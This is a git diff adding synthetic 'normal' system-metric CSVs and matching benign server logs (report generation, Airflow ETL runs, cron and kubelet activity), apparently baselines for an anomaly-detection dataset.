/api/v1/user/45 status=200 OK +Jul 02 12:00:55 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:10 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:50 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:20 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:02:30 web-app[2251]: INFO User 'jane.doe' requested full-history report for account 'Global Exports'. Starting generation... +Jul 02 12:02:45 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:55 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:03:20 web-app[2251]: INFO Querying database for report data... +Jul 02 12:03:30 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:03:40 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:05 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:04:35 web-app[2251]: INFO Aggregating sales data from 2015-2025... +Jul 02 12:04:40 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:15 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:05:30 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:50 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:06:15 web-app[2251]: INFO Report generation for 'jane.doe' complete. File size: 175MB. +Jul 02 12:06:25 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:00 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:20 kubelet[1198]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_10/norm_10_6.csv b/norm_dataset/scenario_10/norm_10_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..b52c79115d4a98baccca4f775f11d7c61016e930 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,16.62,32.58,14.37,0.68,0.95 +2025-08-19T10:00:05Z,12.56,33.24,9.06,1.02,0.7 +2025-08-19T10:00:10Z,11.62,36.11,10.74,1.02,0.73 +2025-08-19T10:00:15Z,16.06,44.29,6.46,1.01,0.97 +2025-08-19T10:00:20Z,18.65,37.34,12.51,0.93,1.07 +2025-08-19T10:00:25Z,6.89,30.63,12.55,1.07,0.49 +2025-08-19T10:00:30Z,12.3,33.76,8.24,1.02,0.78 +2025-08-19T10:00:35Z,15.04,36.31,9.35,1.19,0.91 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+2025-08-19T10:07:20Z,15.99,36.2,9.22,1.13,0.74 +2025-08-19T10:07:25Z,11.88,48.08,4.81,0.72,0.76 diff --git a/norm_dataset/scenario_10/norm_10_6.log b/norm_dataset/scenario_10/norm_10_6.log new file mode 100644 index 0000000000000000000000000000000000000000..0e884da44d31a86bb1600e9ebee4e0e3d5adf176 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_6.log @@ -0,0 +1,16 @@ +Aug 19 10:00:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 19 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:50 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 19 10:01:40 web-app[3456]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 19 10:02:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:02:30 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:02:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:03:20 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:03:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:04:10 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:04:35 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:05:00 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:05:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:05:50 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:06:30 web-app[3456]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 19 10:07:05 web-app[3456]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_7.csv b/norm_dataset/scenario_10/norm_10_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..10fde6d89048f77ac7320cfcd105906ad78e68df --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.83,41.32,8.98,0.57,0.55 +2025-07-02T12:00:05Z,16.81,37.09,6.63,0.82,1.19 +2025-07-02T12:00:10Z,17.18,44.35,5.73,0.79,1.13 +2025-07-02T12:00:15Z,19.86,39.31,8.12,1.36,0.67 +2025-07-02T12:00:20Z,18.61,44.0,10.23,0.98,0.67 +2025-07-02T12:00:25Z,18.74,39.48,14.26,0.95,1.47 +2025-07-02T12:00:30Z,17.49,42.69,11.92,1.26,0.79 +2025-07-02T12:00:35Z,21.98,39.77,5.98,1.32,1.4 +2025-07-02T12:00:40Z,15.74,41.35,10.08,1.34,1.47 +2025-07-02T12:00:45Z,19.46,42.27,6.72,1.35,0.92 +2025-07-02T12:00:50Z,11.29,38.35,10.9,0.63,0.51 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b/norm_dataset/scenario_10/norm_10_7.log new file mode 100644 index 0000000000000000000000000000000000000000..767f86f5b9660ca37f1ba54a4d0a65bdc91894f4 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_7.log @@ -0,0 +1,12 @@ +Jul 02 12:00:00 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:00:25 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:00:50 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:01:40 web-app[1357]: GET /api/v1/status status=200 OK +Jul 02 12:02:00 web-app[1357]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:05 web-app[1357]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:30 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 02 12:07:00 web-app[1357]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_8.csv b/norm_dataset/scenario_10/norm_10_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..e507e5a955d48087cf9eb5e3bbed1a08ea913168 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,10.99,34.58,24.94,1.08,1.03 +2025-07-02T12:00:05Z,9.72,35.4,20.51,0.99,0.57 +2025-07-02T12:00:10Z,11.3,34.48,25.38,0.59,0.89 +2025-07-02T12:00:15Z,13.05,36.21,21.61,0.98,0.66 +2025-07-02T12:00:20Z,9.53,34.24,29.88,0.74,0.77 +2025-07-02T12:00:25Z,9.53,33.59,24.26,1.13,0.91 +2025-07-02T12:00:30Z,13.16,37.32,20.87,1.07,0.73 +2025-07-02T12:00:35Z,11.53,35.06,23.39,0.81,0.82 +2025-07-02T12:00:40Z,9.06,34.98,27.06,0.9,1.1 +2025-07-02T12:00:45Z,11.09,36.39,22.18,0.79,0.78 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a/norm_dataset/scenario_10/norm_10_8.log b/norm_dataset/scenario_10/norm_10_8.log new file mode 100644 index 0000000000000000000000000000000000000000..50f689f203ef12f1affd773f163f01ac5a4785e6 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_8.log @@ -0,0 +1,26 @@ +Jul 02 12:00:00 CRON[5000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:05 web-app[1291]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:10 web-app[1291]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:15 web-app[1291]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:30 web-app[1291]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:25 CRON[5017]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 report-worker[8839]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:01:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 report-worker[8839]: INFO: Querying database for records from 2010-01-01 to 2025-07-02... +Jul 02 12:02:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:50 CRON[5034]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:20 report-worker[8839]: INFO: Aggregating data and writing to temporary file /tmp/report_john.doe_.... +Jul 02 12:03:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:15 CRON[5051]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:04:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:40 CRON[5068]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:15 report-worker[8839]: INFO: Data aggregation complete. Finalizing report structure... +Jul 02 12:06:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:30 report-worker[8839]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:45 web-app[1291]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:05 CRON[5085]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:25 web-app[1291]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_9.csv b/norm_dataset/scenario_10/norm_10_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..7df67cbd663cb9e2e1166bfae9e94bb1fa0dd16b --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T17:20:00Z,16.076764050910704,42.550247006082486,33.824241443058845,1.1050616075671775,0.9014968682276169 +2025-08-19T17:20:05Z,13.375288963826167,40.98524511278264,27.429381593918066,1.1923217321911541,0.9389492138037916 +2025-08-19T17:20:10Z,12.748039558811847,41.73796227712201,29.119982614173793,1.1048883940527792,0.8522962123604144 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0000000000000000000000000000000000000000..c4db36fa8e1660ce906fbfb04b2885f75ea57e20 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_9.log @@ -0,0 +1,34 @@ +Aug 19 17:19:58 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 19 17:19:59 systemd[1]: Starting daily clean up activities... +Aug 19 17:20:18 web-app[1234]: GET /api/v1/user/49 status=200 OK +Aug 19 17:20:39 web-app[1234]: GET /api/v1/user/27 status=200 OK +Aug 19 17:20:59 web-app[1234]: GET /api/v1/user/44 status=200 OK +Aug 19 17:21:13 systemd[1]: Starting daily clean up activities... +Aug 19 17:21:19 web-app[1234]: GET /api/v1/user/43 status=200 OK +Aug 19 17:21:38 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 19 17:21:39 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 19 17:21:57 web-app[1234]: GET /api/v1/user/47 status=200 OK +Aug 19 17:22:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 17:22:19 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 19 17:22:29 systemd[1]: Starting daily clean up activities... +Aug 19 17:22:39 web-app[1234]: GET /api/v1/user/17 status=200 OK +Aug 19 17:22:58 web-app[1234]: GET /api/v1/user/49 status=200 OK +Aug 19 17:23:17 web-app[1234]: GET /api/v1/user/47 status=200 OK +Aug 19 17:23:37 web-app[1234]: GET /api/v1/user/30 status=200 OK +Aug 19 17:23:43 systemd[1]: Starting daily clean up activities... +Aug 19 17:23:58 web-app[1234]: GET /api/v1/user/27 status=200 OK +Aug 19 17:24:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 17:24:18 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 19 17:24:39 web-app[1234]: GET /api/v1/user/43 status=200 OK +Aug 19 17:24:59 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 19 17:24:59 systemd[1]: Starting daily clean up activities... +Aug 19 17:25:18 web-app[1234]: GET /api/v1/user/11 status=200 OK +Aug 19 17:25:39 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 19 17:25:51 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 19 17:25:59 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 19 17:26:13 systemd[1]: Starting daily clean up activities... +Aug 19 17:26:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 17:26:19 web-app[1234]: GET /api/v1/user/39 status=200 OK +Aug 19 17:26:38 web-app[1234]: GET /api/v1/user/38 status=200 OK +Aug 19 17:26:59 web-app[1234]: GET /api/v1/user/38 status=200 OK +Aug 19 17:27:19 web-app[1234]: GET /api/v1/user/14 status=200 OK diff --git a/norm_dataset/scenario_11/norm_11_1.csv b/norm_dataset/scenario_11/norm_11_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..20ae6b5a952bc731e2c8a0a1612b879605f6f7be --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T10:00:00Z,14.42001794042916,27.72631108234723,22.85849731197996,1.4655470253324527,1.5670244395122632 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+2025-08-20T10:07:25Z,15.134675702769512,21.280606772036787,18.36864066479512,2.2659386850571237,1.9611233415168385 diff --git a/norm_dataset/scenario_11/norm_11_1.log b/norm_dataset/scenario_11/norm_11_1.log new file mode 100644 index 0000000000000000000000000000000000000000..900ba83d5946d08b298d8ee436f8664e48e5d9e4 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_1.log @@ -0,0 +1,12 @@ +Aug 20 10:00:05 airflow-scheduler[21527]: INFO: Finding new jobs +Aug 20 10:00:25 airflow-worker[21680]: INFO: Running task instance +Aug 20 10:01:30 airflow-scheduler[21527]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 20 10:01:40 airflow-worker[21731]: INFO: Task 'extract_from_postgres' running... +Aug 20 10:02:55 airflow-worker[21731]: INFO: Task 'extract_from_postgres' succeeded. +Aug 20 10:03:05 airflow-worker[21731]: INFO: Task 'transform_data' running... +Aug 20 10:05:25 airflow-worker[21731]: INFO: Task 'transform_data' succeeded. +Aug 20 10:05:35 airflow-worker[21731]: INFO: Task 'load_to_bigquery' running... +Aug 20 10:06:55 airflow-worker[21731]: INFO: Task 'load_to_bigquery' succeeded. +Aug 20 10:07:00 airflow-scheduler[21527]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 20 10:07:15 airflow-worker[21680]: INFO: All tasks done. +Aug 20 10:07:25 airflow-scheduler[21527]: INFO: Finding new jobs diff --git a/norm_dataset/scenario_11/norm_11_10.csv b/norm_dataset/scenario_11/norm_11_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..81a56dd2bf09671505f918f5cf2a0c87de1782b4 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T14:00:00Z,10.38,27.96,24.31,0.95,0.65 +2025-08-27T14:00:05Z,9.99,26.88,18.63,1.21,1.08 +2025-08-27T14:00:10Z,6.71,26.18,24.6,1.26,1.21 +2025-08-27T14:00:15Z,5.88,27.83,23.74,1.18,1.3 +2025-08-27T14:00:20Z,7.58,26.52,12.06,0.67,0.97 +2025-08-27T14:00:25Z,10.11,27.35,10.33,0.53,0.68 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27 14:02:55 etl-worker-1 INFO airflow-worker[5912]: INFO Extracted 50,000 records from stripe_api. +Aug 27 14:02:55 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 14:03:10 etl-worker-1 INFO airflow-worker[5912]: Task 'extract_from_postgres' succeeded. +Aug 27 14:03:35 etl-worker-1 INFO airflow-worker[5912]: Task 'transform_data' running. +Aug 27 14:04:10 etl-worker-1 INFO airflow-worker[5912]: INFO Running dbt model: stg_users... +Aug 27 14:05:00 etl-worker-1 INFO airflow-worker[5912]: INFO dbt model 'stg_users' completed successfully. +Aug 27 14:05:15 etl-worker-1 INFO airflow-worker[5912]: Task 'transform_data' succeeded. +Aug 27 14:05:40 etl-worker-1 INFO airflow-worker[5912]: Task 'load_to_bigquery' running. +Aug 27 14:05:50 etl-worker-1 INFO airflow-worker[5912]: INFO Streaming data to BigQuery table: user_profiles. +Aug 27 14:06:05 etl-worker-1 INFO airflow-worker[5912]: INFO Loaded 75% of transformed data. +Aug 27 14:06:25 etl-worker-1 INFO airflow-worker[5912]: Task 'load_to_bigquery' succeeded. +Aug 27 14:06:45 etl-worker-1 INFO airflow-scheduler[5678]: INFO Finishing DAG 'daily_user_profile_etl' +Aug 27 14:07:00 etl-worker-1 INFO airflow-scheduler[5678]: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 14:07:25 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_11/norm_11_11.csv b/norm_dataset/scenario_11/norm_11_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..41090f7d72552b3dd284da3c76b25d26ade3585b --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.384889155324803,39.93133303577582,22.153861690522167,1.222605478194528,1.0769106282783558 +2025-08-27T10:00:05Z,14.986912747096202,38.13264733753422,19.3143152611494,1.3563091185416711,1.2883203328294548 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0000000000000000000000000000000000000000..36d71d1cb8e18d461e64713b93266731b8a86480 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_11.log @@ -0,0 +1,20 @@ +Aug 27 10:00:05 systemd[1]: Starting daily backup activities... +Aug 27 10:00:15 web-app[2235]: GET /api/v1/health status=200 OK +Aug 27 10:01:40 airflow-scheduler[1567]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:45 airflow-worker[1599]: INFO: Task 'extract_from_postgres' started. +Aug 27 10:01:50 airflow-worker[1599]: INFO: Extracted 105,482 rows from postgres 'users' table. +Aug 27 10:02:00 airflow-worker[1599]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:02:30 airflow-worker[1601]: INFO: Task 'extract_from_api' started. +Aug 27 10:03:00 airflow-worker[1601]: INFO: Fetched 5,231 records from Salesforce API. +Aug 27 10:03:05 airflow-worker[1601]: INFO: Task 'extract_from_api' succeeded. +Aug 27 10:03:30 airflow-worker[1605]: INFO: Task 'transform_data' running... +Aug 27 10:04:00 airflow-worker[1605]: INFO: dbt: Running model 'staging_users'... +Aug 27 10:04:05 airflow-worker[1605]: INFO: dbt: Finished model 'staging_users' successfully. +Aug 27 10:04:30 airflow-worker[1605]: INFO: Task 'transform_data' succeeded. +Aug 27 10:05:00 airflow-worker[1610]: INFO: Task 'load_to_bigquery' started. +Aug 27 10:05:30 airflow-worker[1610]: INFO: Uploading 110,713 records to BigQuery table 'user_profiles'. +Aug 27 10:05:45 airflow-worker[1610]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:06:00 airflow-scheduler[1567]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 10:06:20 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:07:00 web-app[2235]: GET /api/v1/health status=200 OK +Aug 27 10:07:20 systemd[1]: Daily backup activities finished. diff --git a/norm_dataset/scenario_11/norm_11_12.csv b/norm_dataset/scenario_11/norm_11_12.csv new file mode 100644 index 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b/norm_dataset/scenario_11/norm_11_12.log new file mode 100644 index 0000000000000000000000000000000000000000..c60a8f193d64f5194ec67273a35367ab8b21228d --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_12.log @@ -0,0 +1,19 @@ +Aug 27 10:00:50 airflow-scheduler[5123]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:15 airflow-worker[6789]: INFO: Task 'extract_from_postgres' starting. +Aug 27 10:01:40 postgres-client[8910]: INFO: Executing query: SELECT * FROM user_profiles; +Aug 27 10:02:30 airflow-worker[6789]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:02:40 airflow-worker[6789]: INFO: Task 'extract_from_api' starting. +Aug 27 10:02:55 api-client[9988]: INFO: Fetching data from https://api.thirdparty.com/v2/users +Aug 27 10:03:45 airflow-worker[6789]: INFO: Task 'extract_from_api' succeeded. +Aug 27 10:04:00 airflow-worker[6789]: INFO: Task 'transform_data' starting. +Aug 27 10:04:35 spark-driver[7755]: INFO: Initializing Spark session. +Aug 27 10:05:00 spark-executor[7756]: INFO: Processing partition 1/4. +Aug 27 10:05:25 spark-executor[7757]: INFO: Processing partition 2/4. +Aug 27 10:05:50 spark-executor[7756]: INFO: Processing partition 3/4. +Aug 27 10:06:15 spark-executor[7757]: INFO: Processing partition 4/4. +Aug 27 10:06:40 spark-driver[7755]: INFO: Spark job completed successfully. +Aug 27 10:06:50 airflow-worker[6789]: INFO: Task 'transform_data' succeeded. +Aug 27 10:06:55 airflow-worker[6789]: INFO: Task 'load_to_bigquery' starting. +Aug 27 10:07:05 bq-client[1122]: INFO: Uploading 54321 rows to project.dataset.user_profiles_transformed. +Aug 27 10:07:20 airflow-worker[6789]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:07:25 airflow-scheduler[5123]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_13.csv b/norm_dataset/scenario_11/norm_11_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..71543a149f3df6d916235006249038a797776e0e --- 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+2025-07-15T14:07:15Z,17.030915446331147,37.238786804051266,47.90769193997798,1.5522910780464982,1.2550110736035736 +2025-07-15T14:07:20Z,15.172895719218486,34.72694818766117,37.483075375506644,1.9514519032793345,0.6791143877922003 +2025-07-15T14:07:25Z,16.673526531040963,38.55339460098789,37.49200631872951,1.6789552903931975,1.403508035103756 diff --git a/norm_dataset/scenario_11/norm_11_13.log b/norm_dataset/scenario_11/norm_11_13.log new file mode 100644 index 0000000000000000000000000000000000000000..517e982bf76ffe89291388b45727ff4ae4ec9abb --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_13.log @@ -0,0 +1,20 @@ +Jul 15 14:01:50 airflow-scheduler[5678]: INFO: Starting DAG 'daily_user_profile_etl' +Jul 15 14:02:00 airflow-worker[5690]: INFO: Task 'extract_from_postgres' started. +Jul 15 14:02:31 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:53 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:55 airflow-worker[5690]: INFO: Task 'extract_from_postgres' succeeded. +Jul 15 14:03:00 airflow-worker[5690]: INFO: Task 'transform_data' started. +Jul 15 14:03:26 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:03:40 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod airflow-worker +Jul 15 14:04:11 systemd[1]: Removed slice User Slice of root. +Jul 15 14:04:15 systemd[1]: Started session 1234 of user root. +Jul 15 14:04:20 airflow-worker[5690]: INFO: Task 'transform_data' succeeded. +Jul 15 14:04:25 airflow-worker[5690]: INFO: Task 'load_to_bigquery' started. +Jul 15 14:04:33 systemd[1]: Started session 1234 of user root. +Jul 15 14:04:47 systemd[1]: Removed slice User Slice of root. +Jul 15 14:05:11 systemd[1]: Starting daily clean up activities... +Jul 15 14:05:16 CRON[6123]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:05:19 systemd[1]: Removed slice User Slice of root. +Jul 15 14:05:20 airflow-worker[5690]: INFO: Task 'load_to_bigquery' succeeded. +Jul 15 14:05:25 airflow-scheduler[5678]: INFO: DAG 'daily_user_profile_etl' finished successfully. diff --git a/norm_dataset/scenario_11/norm_11_14.csv b/norm_dataset/scenario_11/norm_11_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..51b55bc341527a1d0b509510a629175e0c380b13 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.62,31.31,21.25,1.0,1.27 +2025-08-27T10:00:05Z,15.05,33.11,18.6,1.64,1.42 +2025-08-27T10:00:10Z,13.67,31.95,21.31,1.25,1.31 +2025-08-27T10:00:15Z,20.24,31.42,17.94,1.13,1.1 +2025-08-27T10:00:20Z,14.99,22.76,21.7,1.05,0.39 +2025-08-27T10:00:25Z,11.36,22.52,20.63,1.27,1.47 +2025-08-27T10:00:30Z,14.14,25.41,29.44,1.32,0.32 +2025-08-27T10:00:35Z,18.91,30.21,27.99,2.12,1.19 +2025-08-27T10:00:40Z,16.81,29.72,13.26,1.38,1.57 +2025-08-27T10:00:45Z,20.03,33.66,26.76,1.29,1.63 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+2025-08-27T10:07:10Z,15.79,28.26,22.4,2.32,0.99 +2025-08-27T10:07:15Z,12.78,30.72,24.64,1.5,1.1 +2025-08-27T10:07:20Z,12.38,21.03,9.57,1.16,1.51 +2025-08-27T10:07:25Z,17.55,27.37,19.82,1.85,1.95 diff --git a/norm_dataset/scenario_11/norm_11_14.log b/norm_dataset/scenario_11/norm_11_14.log new file mode 100644 index 0000000000000000000000000000000000000000..9b6adf59d4652031b9147032585728c1ebbab262 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_14.log @@ -0,0 +1,19 @@ +Aug 27 10:00:10 systemd[1]: Starting daily network maintenance... +Aug 27 10:00:25 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:00:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:15 airflow-scheduler[1234]: INFO: Starting DAG 'daily_user_profile_etl' +Aug 27 10:01:25 airflow-worker[5678]: INFO: Task 'extract_from_postgres' started. +Aug 27 10:02:00 airflow-worker[5678]: INFO: Extracted 1,500,234 rows from postgres. +Aug 27 10:02:10 airflow-worker[5678]: INFO: Task 'extract_from_postgres' succeeded. +Aug 27 10:02:15 airflow-worker[5678]: INFO: Task 'extract_from_api' started. +Aug 27 10:02:55 airflow-worker[5678]: INFO: Task 'extract_from_api' succeeded. +Aug 27 10:03:00 airflow-worker[5678]: INFO: Task 'transform_data' running... +Aug 27 10:03:45 airflow-worker[5678]: INFO: dbt: Applying model 'user_profiles'... +Aug 27 10:04:45 airflow-worker[5678]: INFO: dbt: Model 'user_profiles' applied successfully. +Aug 27 10:04:50 airflow-worker[5678]: INFO: Task 'transform_data' succeeded. +Aug 27 10:04:55 airflow-worker[5678]: INFO: Task 'load_to_bigquery' started. +Aug 27 10:05:55 airflow-worker[5678]: INFO: Loaded 1,450,890 rows to BigQuery table 'user_profiles_daily'. +Aug 27 10:06:10 airflow-worker[5678]: INFO: Task 'load_to_bigquery' succeeded. +Aug 27 10:06:15 airflow-scheduler[1234]: INFO: DAG 'daily_user_profile_etl' finished successfully. +Aug 27 10:06:40 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:07:05 systemd[1]: Daily network maintenance finished. diff --git a/norm_dataset/scenario_11/norm_11_15.csv b/norm_dataset/scenario_11/norm_11_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f54f5e293f4b9cd2ddc4e1e18d01497fdcd21b3 --- /dev/null +++ b/norm_dataset/scenario_11/norm_11_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,10.41,32.42,25.93,2.0,0.82 +2025-08-27T10:00:05Z,10.03,35.41,21.99,1.6,0.91 +2025-08-27T10:00:10Z,9.11,32.8,19.87,1.31,0.93 +2025-08-27T10:00:15Z,13.49,32.92,16.54,1.25,1.25 +2025-08-27T10:00:20Z,9.99,36.93,22.34,1.54,0.95 +2025-08-27T10:00:25Z,7.57,36.4,31.27,0.9,0.92 +2025-08-27T10:00:30Z,9.43,37.02,20.67,1.58,0.71 +2025-08-27T10:00:35Z,12.6,35.47,25.44,1.63,0.98 +2025-08-27T10:00:40Z,11.21,41.12,23.89,1.55,1.08 +2025-08-27T10:00:45Z,13.35,31.42,21.15,1.35,1.04 +2025-08-27T10:00:50Z,11.06,32.1,19.63,1.39,1.49 +2025-08-27T10:00:55Z,8.23,33.93,29.47,1.41,1.19 +2025-08-27T10:01:00Z,11.81,37.24,24.12,1.25,0.95 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100644 index 0000000000000000000000000000000000000000..7909ddc1cf8bc1b697e45cca4e9d10736396e592 --- 